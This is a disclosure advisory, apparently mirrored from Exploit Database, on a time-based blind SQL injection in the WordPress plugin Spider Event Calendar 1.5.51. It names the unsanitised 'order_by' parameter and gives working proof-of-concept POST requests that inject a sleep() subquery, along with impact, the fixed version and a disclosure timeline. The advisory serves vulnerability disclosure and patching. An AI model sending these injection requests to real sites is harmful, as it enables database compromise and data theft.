WordPress Plugin Spider Event Calendar 1.5.51 – Blind SQL Injection

• Exploit Database
• 16 阅读

• 作者： Manuel García Cárdenas
  日期： 2017-04-11
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/41857/

• =============================================
  MGC ALERT 2017-003
  - Original release date: April 06, 2017
  - Last revised:April 10, 2017
  - Discovered by: Manuel García Cárdenas
  - Severity: 7,1/10 (CVSS Base Score)
  =============================================
  
  I. VULNERABILITY
  -------------------------
  WordPress Plugin Spider Event Calendar 1.5.51 - Blind SQL Injection
  
  II. BACKGROUND
  -------------------------
  WordPress event calendar is a FREE user-friendly responsive plugin to
  manage multiple recurring events and with various options.
  
  III. DESCRIPTION
  -------------------------
  This bug was found using the portal in the files:
  
  /spider-event-calendar/calendar_functions.php:if
  (isset($_POST['order_by'])) {
  /spider-event-calendar/widget_Theme_functions.php:if
  (isset($_POST['order_by']) && $_POST['order_by'] != '') {
  
  And when the query is executed, the parameter "order_by" it is not
  sanitized:
  
  /spider-event-calendar/front_end/frontend_functions.php:$rows =
  $wpdb->get_results($query." ".$order_by);
  
  To exploit the vulnerability only is needed use the version 1.0 of the HTTP
  protocol to interact with the application.
  
  It is possible to inject SQL code.
  
  IV. PROOF OF CONCEPT
  -------------------------
  The following URL have been confirmed to all suffer from Time Based SQL
  Injection.
  
  Time Based SQL Injection POC:
  
  POST /wordpress/wp-admin/admin.php?page=SpiderCalendar HTTP/1.1
  
  search_events_by_title=&page_number=1&serch_or_not=&nonce_sp_cal=1e91ab0f6b&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fadmin.php%3Fpage%3DSpiderCalendar&id_for_playlist=&asc_or_desc=1&order_by=id%2c(select*from(select(sleep(2)))a)
  (2 seconds of response)
  
  search_events_by_title=&page_number=1&serch_or_not=&nonce_sp_cal=1e91ab0f6b&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fadmin.php%3Fpage%3DSpiderCalendar&id_for_playlist=&asc_or_desc=1&order_by=id%2c(select*from(select(sleep(30)))a)
  (30 seconds of response)
  
  V. BUSINESS IMPACT
  -------------------------
  Public defacement, confidential data leakage, and database server
  compromise can result from these attacks. Client systems can also be
  targeted, and complete compromise of these client systems is also possible.
  
  VI. SYSTEMS AFFECTED
  -------------------------
  Spider Event Calendar <= 1.5.51
  
  VII. SOLUTION
  -------------------------
  Vendor release a new version.
  https://downloads.wordpress.org/plugin/spider-event-calendar.1.5.52.zip
  
  VIII. REFERENCES
  -------------------------
  https://es.wordpress.org/plugins/spider-event-calendar/
  
  IX. CREDITS
  -------------------------
  This vulnerability has been discovered and reported
  by Manuel García Cárdenas (advidsec (at) gmail (dot) com).
  
  X. REVISION HISTORY
  -------------------------
  April 06, 2017 1: Initial release
  April 10, 2017 2: Revision to send to lists
  
  XI. DISCLOSURE TIMELINE
  -------------------------
  April 06, 2017 1: Vulnerability acquired by Manuel Garcia Cardenas
  April 06, 2017 2: Send to vendor
  April 07, 2017 3: Vendor fix the vulnerability and release a new version
  April 10, 2017 4: Send to the Full-Disclosure lists
  
  XII. LEGAL NOTICES
  -------------------------
  The information contained within this advisory is supplied "as-is" with no
  warranties or guarantees of fitness of use or otherwise.
  
  XIII. ABOUT
  -------------------------
  Manuel Garcia Cardenas
  Pentester